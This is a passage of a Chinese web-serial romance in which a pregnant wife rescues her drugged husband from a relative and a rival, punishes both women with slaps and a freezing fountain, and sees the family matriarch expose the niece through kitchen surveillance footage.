“栩然,你听二嫂说,你现在在哪里?具体位置告诉我。”她强自镇定,一边说话一边已经穿上厚重的羽绒外套,围上羊绒围巾,拿起车钥匙往外走。 陆家实在是太大了,开车比较近。 “我在……在西边花园的那条鹅卵石小路上,就是有很多冬青树的那条……” 陆栩然的声音忽然顿住,随即惊讶地小声说,“二嫂,我听到那边有声音,我先过去看看。” 岑予衿立刻想起陆家老宅西侧确实有一排园艺工具房,平时很少有人去。 “栩然,你乖乖站在原地别动,二嫂马上过来。千万别让任何人发现你,好吗?” “好。”小男孩乖巧地答应。 岑予衿挂了电话,指尖已经冰凉得发颤,她没有丝毫犹豫,立刻拨通了陆家安保队长的电话,声音带着不容置疑的急切,“张队,立刻带二十名保镖到西侧花园鹅卵石路,冬青树丛附近集合!速度要快!尽量不要惊扰任何人。” “是,少夫人!”张队不敢耽搁,立刻调派人手。 岑予衿攥着车钥匙快步下楼,她几乎是一路小跑冲向车库。 引擎轰鸣着,车子像离弦的箭一般冲出车库,朝着西侧花园疾驰而去。 夜色深沉,花园里的路灯昏黄,透过车窗照在两旁的冬青树上,拉出斑驳的影子。 岑予衿紧握着方向盘,目光死死盯着前方的路,脑海里不断闪过陆京洲泛红的脸颊和迷离的眼神,心脏像是被一只无形的手攥紧,疼得她几乎喘不过气。 她不敢想,若是晚一步,陆京洲会遭遇什么…… 既然那个人选择了,给他下药,就肯定做好十足的准备了。 几分钟后,车子稳稳停在西侧花园入口,张队带着二十名黑衣保镖已经等候在那里,个个身形挺拔,神情肃穆。 “少夫人!” “人呢?”岑予衿推开车门,快步走上前,声音带着一丝不易察觉的颤抖。 “栩然小少爷说在前面冬青树丛旁,我们已经派人守住了周边,没有任何人靠近。”张队立刻汇报。 岑予衿点点头,深吸一口气,“走,过去看看!” 她带头朝着鹅卵石小路走去,保镖们紧随其后,形成一道严密的保护屏障。 小路两旁的冬青树长得茂密,夜色中像是一个个沉默的黑影,脚下的鹅卵石硌得她脚底发疼,她却浑然不觉,只想着快点见到陆栩然,快点找到陆京洲。 “二嫂!” 不远处传来陆栩然稚嫩的呼喊声,岑予衿立刻抬头,看到小男孩正站在一棵冬青树旁,朝着她挥手。 她快步走过去,蹲下身,“栩然,你没事吧?有没有看到什么人?” “我没事,二嫂。”陆栩然摇摇头,指着不远处一间紧闭的园艺工具房,“我刚才听到里面有声音,好像是明月姐姐的,还有……还有一个陌生女人的声音,二哥会不会在里面?” 岑予衿顺着他指的方向看去,那间工具房孤零零地立在角落,门窗紧闭,隐约能听到里面传来模糊的争执声。 虽然听不清具体内容,但能感受到里面的气氛十分紧张。 她的眼神瞬间冷了下来,站起身,对着张队沉声道,“张队,把门撞开!” “是!” 两名身材高大的保镖立刻上前,对视一眼,同时发力,狠狠撞向工具房的木门。 “砰——砰——” 两声巨响过后,木门“哐当”一声被撞开,里面的声音瞬间戛然而止。 岑予衿率先走了进去,保镖们立刻跟上,将房间里的人团团围住。 房间里一片昏暗,只有一盏昏黄的灯泡挂在头顶,空气中弥漫着一股刺鼻的药味。 陆京洲被死死按在一张破旧的木桌上,双手被反绑在身后,额发被汗水浸湿,脸颊泛着不正常的潮红,眼神涣散,显然药效还在发作。 第116章 摁着甩巴掌 岑予衿的瞳孔骤然紧缩,浑身的血液仿佛在这一刻凝固成冰。 她眼睁睁看着姜晚樱的手胡乱地抚过陆京洲的胸膛,那双手带着令人作呕的贪婪,顺着他被汗水浸湿的衬衫往下滑。 紧接着,女人俯身,红唇狠狠印在陆京洲泛着潮红的脖颈上,留下一个刺目的红痕。 “唔——” 陆京洲浑身剧烈一颤,药效让他意识模糊,却本能地抗拒着这陌生的触碰。 “滚!我要笙笙!!!”他艰难地偏过头,喉咙里溢出嘶哑的低吼,带着屈辱和愤怒,却连抬手推开人的力气都没有,只能任由姜晚樱肆意妄为。 旁边的陆明月见状,脸上闪过一丝得意的狞笑,还不忘出声怂恿,“晚樱姐,快点!别浪费时间,等他药效过了就来不及了!” “你们给我住手!” 岑予衿的声音像是从冰窖里捞出来的,带着彻骨的寒意和滔天的怒火,几乎要将整个工具房都震得发抖。 那份心疼和愤怒交织在一起,像一把锋利的刀,狠狠剜着她的心。 那是她放在心尖上疼的人,是小心翼翼呵护着她和孩子的男人,此刻却被人这么算计,她怎么能不恨? 姜晚樱被这突如其来的声音吓了一跳,猛地抬起头,看到门口的岑予衿和一众保镖,脸色瞬间惨白如纸,下意识地想要后退。 岑予衿眼底翻涌着毁天灭地的怒火,根本不给姜晚樱躲闪的机会。 上前一步,扬手就甩了她两个狠狠的耳光! “啪——啪——” 清脆的巴掌声在昏暗的工具房里回荡,力道大得让姜晚樱瞬间偏过头,嘴角立刻渗出血丝。 她双颊原本就因药效染上潮红,此刻更是红肿胀痛,眼神里满是惊恐和难以置信。 “你敢打我?”姜晚樱捂着脸,声音因疼痛和愤怒变得尖锐。 “打你?”岑予衿冷笑一声,眼神冷得像淬了毒的冰,“我没少了你,已经是给你留了情面!” 她一把攥住姜晚樱的头发,力道大得让对方痛呼出声,拖着她就往门外走。 姜晚樱挣扎着,双脚在地上胡乱蹬着,却根本挣脱不开岑予衿的手。 此刻的岑予衿,被心疼和愤怒逼到了极致,浑身都透着一股玉石俱焚的狠劲。 陆明月吓得浑身发抖,想要上前阻拦,却被旁边的保镖一把按住,动弹不得。 岑予衿拖着姜晚樱,一步步走出工具房,冰冷的夜风吹在脸上,却丝毫浇不灭她心中的怒火。 不远处的喷泉池泛着冷冽的水光,冬天的池水早已冻得刺骨,此刻却成了她发泄怒火的地方。 “周芙笙!你放开我!我可是姜家的大小姐,是陆京洲最爱的人!你不能这样对我!”姜晚樱尖叫着,声音里带着哭腔,药效让她浑身燥热,可被寒风一吹,又忍不住打了个寒颤。 岑予衿没有丝毫犹豫,猛地发力,将姜晚樱狠狠摁进了喷泉池里! “噗通——” 水花四溅,冰冷刺骨的池水瞬间淹没了姜晚樱的半身,让她发出一声凄厉的惨叫。 冬天的水温低得吓人,不过几秒钟,姜晚樱就浑身发抖,嘴唇发紫,原本因药效泛起的潮红瞬间褪去,只剩下惨白和惊恐。 “啊——好冷!救命!周芙笙,你疯了!”姜晚樱拼命挣扎着,想要从池子里爬出来,却被岑予衿死死按住肩膀,动弹不得。 岑予衿居高临下地看着她,眼神里没有一丝怜悯,只有彻骨的寒意,“姜晚樱,你算计我老公,觊觎我位置的时候,怎么没想过后果?这池水再冷,也冷不过你那颗恶毒的心!” 她的声音不大,却字字诛心,让姜晚樱浑身一僵。 旁边的保镖们都屏住呼吸,不敢出声。 他们还是第一次见少夫人如此动怒,平日里的少夫人温柔温婉,此刻却像一只被激怒的狮子,浑身都带着攻击性。 陆栩然站在一旁,看着这一幕,虽然觉得有些害怕,却还是小声说,“二嫂做得对!这个女人是坏人!” 岑予衿没有理会众人的目光,死死按住姜晚樱,直到对方浑身冻得几乎失去力气,再也挣扎不动,才缓缓松开手。 姜晚樱瘫坐在池子里,浑身湿透,瑟瑟发抖,眼神里满是恐惧和绝望,再也没有了之前的得意和嚣张。 岑予衿的目光缓缓转向工具房内瑟瑟发抖的陆明月。 陆明月对上她冰冷的视线,吓得连连后退,“二、二婶……我知道错了……” “知道错了?”岑予衿一步步走回工具房,水珠从她指尖滴落,在冰冷的地面上绽开,“刚才怂恿她的时候,怎么不知道错?” 她一把揪住陆明月的衣领,将这个不知天高地厚的侄女拖到面前。 “啪——” 一记响亮的耳光打断了她的辩解。 “这一巴掌,是打你吃里扒外,帮着外人算计自家人。” “啪——” 又一记耳光落下。 “这一巴掌,是打你不知廉耻,用这种下作手段害你小叔。” 陆明月被打得眼冒金星,脸颊火辣辣地疼,从小到大还没被人这么打过。 也从来没有见过他这么可怕的模样,吓得连哭都忘了。 岑予衿拽着她的胳膊,将她拖到喷泉池边。 姜晚樱还瘫坐在池水中发抖,看到陆明月也被拖过来,眼中闪过一丝绝望。 “不要!我知道错了!”陆明月惊恐地尖叫,“我要是知道你这么对我,他绝对不会放过你的。” 岑予衿充耳不闻,将她狠狠摁进池水。 “啊——好冷!”陆明月在冰水中扑腾,冻得牙齿打颤。 岑予衿死死按住她,声音冷得像冬夜的寒风,“今天就让你们记住,什么人能碰,什么人不能碰。” 待陆明月也冻得浑身发抖,岑予衿才松开手。 站在池边,看着两个狼狈不堪的女人,声音清晰地传入每个人耳中,“我周芙笙平日里与人为善,不代表我好欺负。” 她的目光扫过姜晚樱和陆明月,最后落在闻讯赶来的其他陆家人身上。 “陆京洲是我的丈夫,是我肚子里孩子的父亲。谁敢动他,就是在动我的命。” 她微微抬起下巴,眼神凌厉,“我这个人没什么底线,但陆京洲——就是我唯一的底线。敢碰我的底线,你们完了。” 第117章 多打一下,划算一下! 陆明月在冰水里挣扎得几乎脱力,嘴唇冻得乌紫,眼泪混着池水往下掉,不断哭喊着,“周芙笙你算个什么玩意儿?想杀了我吗?我爸是不会放过你的!” 岑予衿居高临下地看着她,指尖还残留着攥过对方衣领的凉意,眼底却没有半分松动。 她当然知道陆宸朝是出了名的女儿奴,别说打他宝贝女儿,就是他女儿少一根头发丝,那男人都能当场红着眼跟人拼命。 可那又怎样? 今天的事情,她占着十足的理,陆明月心思歹毒,帮着外人算计亲小叔,这顿教训,她挨得一点不冤! 她也早知道他们会来找她算账。 “杀你?”岑予衿嗤笑一声,声音冷得像淬了冰的刀子,“我只是让你尝尝,算计我男人的滋味。” 她俯身,一把揪住陆明月的头发,迫使她仰起头,“你不是笃定你爸会来救你吗?我告诉你,就算他现在来了,你该受的罪,一分也少不了。” 说着,她抬手,又是一记响亮的耳光甩在陆明月冻得僵硬的脸上。 “啪”的一声,在寂静的夜色里格外刺耳,陆明月的脸颊瞬间又红了一片,与周围的惨白形成刺眼的对比。 “这一巴掌,是替你小叔打的,他平日里待你不薄,还亲手给你准备了生日礼物,你却狼心狗肺。” 岑予衿的力道丝毫未减,又补了一巴掌,“这一巴掌,是替陆家列祖列宗打的,陆家的脸,都被你丢尽了!” 她打得起劲,反正横竖都是要面对陆宸朝的怒火,多打一巴掌就多赚一分,今日不把这丫头彻底打怕、冻醒,日后指不定还会闹出什么幺蛾子。 旁边的保镖们看得心惊胆战,却没人敢上前劝阻。 少夫人此刻的模样,简直是杀红了眼,谁上前谁倒霉。 陆栩然站在一旁,虽然觉得冰水看着就冷,却还是攥着小拳头,小声附和,“打得好!让她欺负二哥!” 岑予衿揪着陆明月的头发,将她的脸往冰冷的池水里按了按,水花溅起,打湿了她的裤脚。 “给我在里面待着,什么时候想明白了自己错在哪,什么时候再出来。” 她松开手,看着陆明月在水里扑腾,又转头看向瘫在一旁,连动都动不了的姜晚樱,“别急,现在到你!” 姜晚樱的情况还不如陆明月,她为了能更快的达成目的,也喝了那个药,这会完全是冰火两重天。 双眼迷离,张嘴想说话,却怎么也说不出来。 岑予衿攥着她的衣服,把人拉过来,直接掌嘴! 居然敢拿她这张臭嘴玷污陆京洲,她是个什么品种的玩意儿,敢对自己的男人下手。 “啪!啪!啪!” 清脆的耳光声在寂静的冬夜里接连响起,带着一种残酷的节奏感。 每一下都用足了力气,一想到工具房间里陆京洲的样子,她就已经没有理智可言了。 姜晚樱被打得脑袋嗡嗡作响,脸颊迅速红肿起来,火辣辣的疼痛与浸透全身的刺骨寒意交织在一起,让她身处炼狱。 药效带来的燥热被冰水和疼痛强行压制,只剩下生理性的泪水混着池水不断滚落。 “我什么都不知道,真的什么都不知道,放过我吧。”她艰难地吐出几个模糊的音节,眼神涣散,失去了挣扎的力气。 “放过你?”岑予衿揪着她的衣领,迫使她抬起头,看着自己眼中那毁天灭地的怒火,“你算计他的时候,怎么没想过放过他?你这张脏嘴碰他的时候,怎么没想过后果?!” 说着,又是一记重重的耳光! “这一下,是打你痴心妄想,觊觎别人的丈夫!”岑予衿的声音淬着冰,字字诛心。 “这一下,是打你手段下作,用药这种腌臜东西!” “这一下,是打你不知廉耻,自轻自贱,送上门都没人要!” 每一句斥骂,都伴随着一记响亮的耳光。 岑予衿将她对陆京洲的心疼,对这两人卑劣行径的愤怒,全都倾注在了这又打又骂之中。 她不仅要让姜晚樱身体受苦,更要碾碎她那可笑的骄傲和企图。 旁边的陆明月看着姜晚樱的惨状,吓得连哭都忘了,浑身抖得像筛糠,第一次真正感受到了这位平日里看起来温柔可亲的二婶,被触怒底线时有多么可怕。 岑予衿打累了,看着姜晚樱脸颊高肿、眼神呆滞、几乎昏厥过去的模样,才像丢垃圾一样,猛地将她推开。 姜晚樱瘫软在冰冷的池水里,连呛咳的力气都没有,只能发出微弱的呻吟。 岑予衿站在池边,微微喘着气,冰冷的目光扫过水中狼狈不堪的两人,如同审视蝼蚁。 “都给我听着,”她的声音不大,却清晰地传入每个人耳中,包括那些远远围观、不敢上前的陆家旁支和佣人,“陆京洲,是我周芙笙的人。谁敢把歪心思动到他头上,今天这两个,就是榜样!” 她顿了顿,眼神最终落在瑟瑟发抖的陆明月身上。 “陆明月,你最好祈祷你小叔没事。否则,别说你爸,就是天王老子来了,也保不住你!” 她朝着旁边的勾了勾手,“把她们俩从水里提出来,摁着跪在院子里,跪到我满意为止。” 冬天,浸了水的衣服,在外头吹着冷风瑟瑟发抖可比,在湖里面冷多了。 周芙笙就在这儿等着,等陆家的那几个长辈过来教训她! 反正打也打了,气也出了,受到惩罚她也认! 岑予衿理了理身上的衣服,转身朝里面走。 还没走两步呢,陆宸朝愤怒到极致的声音就传了过来,“弟妹!你疯了吗?快让他们放开明月!” 陆宸朝愤怒的拨开人群,看到女儿的惨状,脸色瞬间铁青。 岑予衿听到声音没有转身,也没有让人松开它她。 冷笑一声,才慢条斯理地抬起头,迎上陆宸朝几乎要喷火的目光。 “大哥来得正好。”她的声音平静得可怕,“我正在替你管教女儿。” 陆宸朝看着女儿被揍的鼻青脸肿的模样,什么好脾气全没了,大步上前,指着岑予衿的鼻子骂道,“你算什么东西?也配替我管教女儿?立刻放开明月!” 岑予衿冷笑一声,一步步朝着他的方向走了过去。 陆宸朝上前将压着她的那两人剥开。 陆明月立刻挣扎着爬起来,浑身湿透,冻得嘴唇发紫,踉跄着扑向父亲,“爸!她要杀了我!她疯了!她真的疯了,你让小叔跟她离婚!把她赶出陆家。” 陆宸朝急忙脱下外套裹住女儿,抬头怒视岑予衿,“周芙笙,你今天必须给我一个交代!” “交代?”岑予衿站在池边,水珠从她的指尖滴落,在月光下泛着冷光,“我倒想问问大哥,你是怎么教女儿的?教她帮着外人给自己的亲叔叔下药?教她用这种下作手段害自家人?” 她一步步走向陆宸朝,明明比他矮了一头,气势却丝毫不减,“今天要不是我及时赶到,京洲就被你女儿和那个贱人给毁了!到时候,你要给我什么交代?” 陆宸朝被她问得一怔,下意识地看向工具房的方向。 房门半开着,能看见陆京洲被保镖扶着坐在椅子上,脸色潮红,领口凌乱,脖颈上那个刺目的红痕格外显眼。 他顿时语塞,但看着怀中瑟瑟发抖的女儿,又硬起心肠,“即便如此,你也不能这样对明月!她毕竟是你的侄女!” “侄女?”岑予衿像是听到了什么天大的笑话,“她帮着外人算计她小叔的时候,可曾记得自己是陆家的女儿?可曾记得京洲是她的小叔?” 她的目光扫过围观的陆家人,声音清晰而冰冷,“今天我把话放在这里,谁敢动陆京洲,就是与我周芙笙为敌。别说是一个不懂事的侄女,就是天王老子来了,我也照打不误!” 陆宸朝气得浑身发抖,却碍于理亏,一时不知如何反驳。 岑予衿却不再看他,转身走向工具房。 经过喷泉池时,瞥了一眼被保镖摁着,瑟瑟发抖的姜晚樱,对保镖吩咐道,“让姜家的人亲自来找我商量领人,姜家人没来之前不准起来。” 她停在陆宸朝面前,看着躲在他怀中瑟瑟发抖的陆明月,轻声道,“大哥要替女儿出头,我随时奉陪。不过在那之前,我建议你先好好问问你的好女儿,今晚都干了些什么好事。” 她微微勾起唇角,那笑容冰冷而残酷,“毕竟,等京洲清醒过来,这件事可就没这么容易了结了。” 说完,她不再理会脸色铁青的陆宸朝,径直走向工具房。 门在她身后关上,隔绝了外面所有的目光和声音。 工具房内,陆京洲的意识已经恢复了些许清明。 他抬起头,看着向他走来的岑予衿,眼中满是复杂的情感。 “笙笙……”他嘶哑地唤道。 岑予衿快步走到他身边,蹲下身,轻轻抚摸他发烫的脸颊,声音瞬间柔软下来,“别怕,我在这里,没人能伤害你。” 陆京洲听到她的声音,下意识的往她怀里钻,嘴里不停念叨着,“媳妇儿,你抱抱我~” 第118章 老婆~我好难受~ 陆京洲的身体烫得惊人,像一块烙铁,本能地寻着岑予衿身上清凉柔软的气息贴近。 可就在他的额头即将抵上她肩膀的瞬间。 他猛地僵住,用尽全身力气,狠狠地将自己往后一摔! “砰”的一声闷响,他的后背撞在冰冷的工具架上,疼痛让他混沌的意识有了一瞬的清明。 “别……别过来……笙笙……”他偏过头,死死咬住下唇,几乎尝到了血腥味,喉咙里溢出痛苦而压抑的低吼,“脏……我脏……” 那双原本深邃的眼眸此刻布满血丝,里面翻涌着屈辱、自我厌弃,还有深不见底的痛楚。 姜晚樱触碰过的地方,湿漉漉的粘腻感,那个刺目的红痕,像无数根烧红的针,扎在他的神经上。 他怎么能用这被玷污过的身体,去碰他的笙笙? 光是想到这一点,他就恶心得浑身发抖。 岑予衿的心像是被一只无形的手狠狠攥住,疼得几乎窒息。 她看着他像一头受伤的困兽,蜷缩在角落,抗拒着她的靠近,也抗拒着他自己。 “阿洲……”她再次上前,声音轻柔却坚定,不容拒绝地伸出手,不是去抱他,而是轻轻捧住他滚烫且布满细汗的脸,强迫他看着自己。 “看着我,”她的目光清澈而执拗,直直望进他混乱痛苦的眼底,“你不脏,陆京洲。脏的是那些心怀不轨、用下作手段的人,不是你。” 她的指尖温柔地抚过他紧绷的下颌线,抚过他因死死咬着而泛白的嘴唇。 “你是我的丈夫,是我孩子的父亲。无论发生什么,你都是我最重要、最干净的人。” 她一字一句,说得缓慢而清晰,试图将这份信念刻进他几乎被药效和屈辱摧毁的理智里。 陆京洲剧烈地喘息着,身体里的火焰与心中的冰寒激烈交战。 他看着她眼中毫无杂质的心疼与信任,那几乎要将他吞噬的自我厌弃似乎被撕开了一道缝隙。 “可是……她碰了……这是事实。”他声音嘶哑破碎,带着难以启齿的哽咽。 “那就洗干净!”岑予衿斩钉截铁地打断他,她转头对旁边的保镖快速吩咐,“准备温水和干净毛巾,快!” 吩咐完,她重新看向陆京洲,眼神温柔,“我帮你把她碰过的地方,全都擦掉。一点痕迹都不会留下。” 温水很快送来。 岑予衿浸湿了毛巾,拧得半干,然后极其认真地,从他被扯开的衬衫领口,从那个刺目的红痕开始,一点点擦拭。 她的动作轻柔得像是在对待一件稀世珍宝,带着无比的珍视和抚慰。 “你看,掉了。”她轻声说,指着那处被擦得发红、但已不见唇印的皮肤,“什么都没有了。” 然后是她颈侧,胸膛……凡是可能被姜晚樱碰到的地方,她都细细地,反复地擦拭,仿佛要通过这个仪式,洗去他所有的屈辱感。 陆京洲僵硬的身体在她的动作下渐渐放松下来。 他闭着眼,感受着毛巾温热的触感,感受着她指尖偶尔划过皮肤带来的战栗。 体内翻腾的药效依然凶猛,但那种肮脏到令他作呕的感觉,正被她一点点驱散。 他忽然伸出手,紧紧抓住了她忙碌的手腕,力道大得几乎要捏碎她。 他睁开眼,眼底的红血丝未退,但那份自我厌弃被一种更深沉、更执拗的情绪取代。 “笙笙……”他声音沙哑得厉害,带着一种劫后余生的脆弱和确认,“别离开我…不准不要我……” 此刻的他,褪去了平日里的沉稳冷峻,更像一个害怕被抛弃的孩子。 岑予衿反手握住他滚烫的手掌,与他十指紧扣,俯身在他的唇印下一个郑重而温柔的吻。 “傻瓜,”她的声音带着一丝哽咽,却异常坚定,“我怎么会不要你?你是我用命护着的人。无论发生什么,我都不会放手。” 药效仍在肆虐,但这一次,他不再抗拒她的靠近。 因为他的笙笙说了,他不脏。 她在这里,他就可以是干净的。 岑予衿刚把人扶起来,往外走,走出门才发现外面已经围满了人。 显然是想找她算账。 “把二少爷送回主卧,立刻联系家庭医生,带足镇定剂和退烧针!” 岑予衿的声音褪去了方才的狠厉,却带着不容置喙的威严,目光扫过一众保镖,“全程看护,不准任何人靠近,尤其是闲杂人等,敢踏主卧半步,直接扔出去!” 现在已经知道他中药了,要么找医生打镇定剂,打麻醉剂,让他先稳定下来。 要么给他找个女人缓解一下。 这是绝对不行的,把自己的男人送到别的女人床上,她做不到。 但是让她自己亲自上,显然也是不太可能的。 毕竟她这会怀着宝宝…… “是,少夫人!”保镖们立刻上前,小心翼翼地扶住几乎要靠在她身上的陆京洲。 陆京洲死死攥着她的手,指尖滚烫,眼神里满是依赖和不安,喉间溢出模糊的低语,“笙笙,别走……” “我不走,”岑予衿俯身,在他耳边柔声道,“我处理完这里的事,马上就来陪你。乖乖听话,让医生给你降温,嗯?” 她的声音带着安抚人心的力量,陆京洲混沌的意识似乎被安抚,攥着她的力道松了几分,任由保镖将他扶上等候在外的车。 岑予衿看着车子驶离,直到车尾消失在视线里,才缓缓转过身,直面眼前乌泱泱的陆家众人。 “这么多人来找我算账?行那这账我和你们好好算算。” 反正现在已经安顿好了陆京洲,她必须让陆家给她一个交代。 岑予衿目光扫过神色各异的众人,最后落在被陆宸朝护着的陆明月身上,眼神冰冷如刀。 她没有理会陆宸朝的怒视和其他人的窃窃私语,径直拨开人群,朝着主宅深处陆老太太居住的院落走去。 “周芙笙,你去哪儿?事情还没说清楚!”陆宸朝在她身后吼道。 岑予衿脚步未停,头也不回地丢下一句,“去找能主持公道的人!怎么,大哥不敢去?” 这话噎得陆宸朝脸色铁青,只能抱着女儿快步跟上,其余人面面相觑,也纷纷跟了上去。 陆老太太早已歇下,被佣人匆匆唤醒,披着外衣坐在客厅主位上,看着一大群人涌进来,眉头微蹙,不怒自威,“大晚上的,吵吵嚷嚷,成何体统?” 不等陆宸朝开口,岑予衿快步上前,在老太太面前缓缓跪下,未语泪先流。 她不是装的,想起陆京洲方才那自我厌弃的痛苦模样,她的心就像被刀绞一样。 “奶奶……”她声音哽咽,带着委屈和后怕,“您要为我们做主啊……京洲他……他差点就被人毁了!” 老太太见她这模样,又听到涉及最疼爱的孙子,神色一凛,“笙笙,怎么回事?慢慢说,京洲怎么了?” 岑予衿抬起泪眼,逻辑清晰却带着哭腔将事情经过说了一遍,重点强调了陆京洲是被下了药,以及他此刻的痛苦和屈辱。 最后,她似是无意地提了一句,“京洲晚上没吃别的东西,就喝了您吩咐厨房熬的那碗驱寒姜汤……然后就说身子不适回房间休息,谁成想……” 这话如同惊雷,在客厅里炸开。 老太太的脸色瞬间沉了下来,她吩咐熬的姜汤?这意味着什么?有人把手伸到了她的眼皮子底下,算计她的孙子! “查!立刻去查那碗姜汤!”老太太厉声吩咐身边的管家,眼神锐利地扫过在场每一个人,“把厨房经手的人,还有晚上的监控,都给我调出来!” 管家领命匆匆而去。 客厅里一片寂静,只能听到岑予衿低低的啜泣声和陆明月因为寒冷和害怕发出的细微颤抖。 很快,管家去而复返,脸色凝重,在老太太耳边低语了几句,并将一个平板电脑递给她。 屏幕上正是厨房及附近走廊的监控录像片段。 老太太看着监控,脸色越来越沉,最终化为一声冰冷的怒哼。 监控清晰地显示,在姜汤熬好端去给陆京洲之前,陆明月鬼鬼祟祟地溜进厨房,迅速往碗里加了什么东西。 “扑通”一声,被保镖押着跪在院子里的姜晚樱,此刻药效和寒冷让她神志模糊,听到里面的动静,求生欲让她立刻尖声推卸责任: “不关我的事!老太太明鉴!是明月……是陆明月说她讨厌周芙笙,想让我取代她!是她给我的药,让我去工具房等着的!我什么都不知道,我是被她骗了!” 这话如同又一记重锤,狠狠砸在陆明月心上。 她从来没有想过让姜晚樱替她顶罪或是什么样的? 她觉得一切都是自己的问题,可是自己想承担是一回事。 她胡说八道,把所有的事情都推到他身上是另外一回事。 她是有点笨,但是也没有笨到被人当枪使也不知道的程度。 这就是她一直觉得人很好的姐姐。 到头来居然第一个出卖她,还把所有的脏水往她身上泼! 第119章 求你别不要我小叔 老太太的目光如淬了冰的利刃,缓缓移向被陆宸朝紧紧护在怀里的陆明月。 陆明月浑身一颤,小脸煞白,下意识地抓紧了父亲的衣襟,嘴唇哆嗦着,却一个字也说不出来。 刚刚18岁被父母保护的很好的她显然没有经历过这种事情,也不知道该怎么处理。 她看向院子里狼狈不堪的姜晚樱,眼里充满了被背叛的震惊和受伤。 “不……不是这样的!”陆明月终于找回自己的声音,带着哭腔喊道,“是她!是晚樱姐姐一直说她喜欢小叔,小叔也喜欢他,他们俩是两情相悦,还说小叔很可怜,娶周……小婶婶只是被祖母逼迫的。我不想让两个相互喜欢的人分开,我只是想让小叔过得幸福一点!” “所以你就选择了给你小叔下药这种蠢招?” 陆明月扑通一下跪在老太太面前,“奶奶,里都是这么写的,两个相互喜欢的人,只要有了宝宝,就会在一起……” 陆明月胡乱的擦着眼泪,“而且……奶奶不也是这么逼小叔的吗?你逼他娶的还是自己不喜欢的人。” 陆老太太面上已经有些挂不住,事实是这样没错……但是…… “少看那些乱七八糟的东西,你怎么知道你小叔不喜欢你小婶婶?我留你小婶婶在我身边几天没联系他,他找人都要找疯了。” 陆明月的辩解单纯而直接,“那他为什么婚礼上表现的那么不情愿?他就是被逼的。” “他就不能结婚后爱上自己媳妇儿。” 老太太知道自己这个重孙女儿智力有点问题,平时他爸妈宠着她也睁一只眼闭一只眼,却没想到蠢成这样。 陆明月闭了嘴。 回想到小叔中了药,嘴里念叨的都是小婶婶的名字。 还有……昨天店里发生的事儿,一下子就明白了。 小叔……他喜欢她! 陆宸朝脸色铁青,他可以为了女儿对抗周芙笙,却无法在母亲和确凿的证据面前继续偏袒。 他低头看着女儿惊恐的眼睛,心头又怒又痛,怒其不争,更痛其被人利用。 “明月!”陆宸朝声音沉痛,“爸爸提醒过你的!你太让爸爸失望了。” “爸爸……”陆明月的眼泪大颗大颗地滚落。 老太太闭了闭眼,再睁开时,眼底已是一片不容置疑的威严和冷厉。 她没再看哭闹的陆明月,而是将目光投向院子里的姜晚樱。 “心思歹毒,手段下作,事后还敢攀诬我陆家的孩子。”老太太每个字都像裹着寒霜,“姜家,真是好家教!” 姜晚樱被老太太的目光钉在原地,浑身冰凉,药效带来的燥热仿佛瞬间被冻结。 “不…老太太,我是一时糊涂,是明月她……” “闭嘴!”老太太厉声打断她,对管家吩咐,“给她家里打电话,让他们立刻来人,把这个不知廉耻的东西领回去!把今天发生的事,原原本本告诉他们姜家!我倒要看看,他们怎么给我陆家一个交代!” 这话等于彻底断了姜晚樱以及她背后家族在陆家,乃至整个上流社会的路。 管家立刻应声去办。 处理完姜晚樱,老太太的视线重新落回陆明月身上。 陆宸朝感受到母亲的威压,将女儿护得更紧,“奶奶,明月还小,她不懂事,是被人蛊惑……” “小?”老太太冷笑一声,“小就知道给人下药了?再大点是不是就要杀人了?宸朝,你护得住她一时,护得住她一世吗?今天她敢给她二叔下药,明天是不是就敢给我下药?!” 一连串的质问让陆宸朝哑口无言。 “陆明月。”老太太声音不高,却带着千钧之力,“你可知错?” 陆明月吓得浑身发抖,泣不成声,只会重复,“奶奶,我错了……明月知道错!” “既然知错,就要受罚。”老太太语气没有丝毫转圜余地,“从今天起,禁足三个月,抄写家规百遍,好好学学什么叫礼义廉耻!所有零用钱暂停,由专门的礼仪老师教导规矩,什么时候真正认识到错误,什么时候再出来!” 这惩罚对一个小女孩来说不可谓不重,尤其是在众目睽睽之下,几乎等于宣告了她未来的处境。 陆宸朝心疼女儿,却不敢再求情。 老太太最后将目光投向一直跪在地上,默默垂泪的岑予衿。 她亲自起身,弯腰将岑予衿扶了起来,握着她的手,轻轻拍了拍。 “好孩子,委屈你了,也辛苦你了。”老太太看着她红肿的眼睛,语气带着罕见的慈爱和肯定,“今晚的事,你处理得很好……” 她话还没说完,陆明月又跪过来了,抱着岑予衿的小腿就开始哭,“小婶婶,对不起,我错了,我真的知道错了,因为自己蠢差点害了我小叔。” 陆明月仰着满是泪痕的小脸,急切地解释,语无伦次,“姜晚樱她只是脱了小叔的衬衫,在脖子上……胡乱亲了两下,真的!小叔拼命推开她了!她的嘴根本没碰到小叔的嘴!小叔是干净的!他一直在喊你的名字,他只要喜欢你的!” 她这番话,像是急于弥补,又像是想证明自己造成的后果并非不可挽回。 陆明月抱着岑予衿的腿,哭得更加凄惨,像是抓住了最后一根救命稻草。 “小婶婶,你千万别嫌弃我小叔!他真的没有被怎么样!就……就脖子上那一点点,已经被你擦掉了!他是清白的!他心里只有你一个!你千万不要因为他‘不干净了’就不要他啊!” 她这番带着一种近乎荒诞的认真和焦急,把原本凝重压抑的气氛搅得有些异样。 “噗——”不知是哪个年轻的小辈一时没忍住,低低地笑出了声,又赶紧死死捂住嘴。 连一脸沉痛的陆宸朝,嘴角都几不可察地抽搐了一下,看着自己这个蠢得让人头疼的女儿,简直是哭笑不得。 老太太也是又好气又好笑,无奈地摇了摇头。 这丫头,脑子是真的一根筋,她似乎完全没意识到问题的核心在于下药这个行为本身,反而纠结在小叔的清白上,还怕岑予衿会因此嫌弃。 岑予衿原本满心的怒火和后怕,被陆明月这突如其来的,带着傻气的恳求冲淡了些许。 她真是个蠢的! 她看着脚下这个哭得毫无形象。 她叹了口气,用力将陆明月拉了起来,拿出自己手帕递给她。 岑予衿的声音带着一丝疲惫,却不再冰冷,“我怎么会嫌弃他?我心疼他还来不及。” 她顿了顿,看着陆明月懵懂的眼睛,语气认真了几分,“陆明月,你记住,今天这件事,错的不是你小叔,他才是受害者。该被嫌弃、被唾弃的是那些用心险恶、手段下作的人,明白吗?我气的是你伤害了你最亲的小叔,而不是气他是否清白。” 陆明月似懂非懂地点点头,抽噎着,但情绪似乎稳定了一些,“呜呜,你讨厌我也没关系,别因为这件事情,不要我小叔就行。” 岑予衿没有直接回答,“领了罚,给你小叔好好道个歉,看他能不能原谅你。” 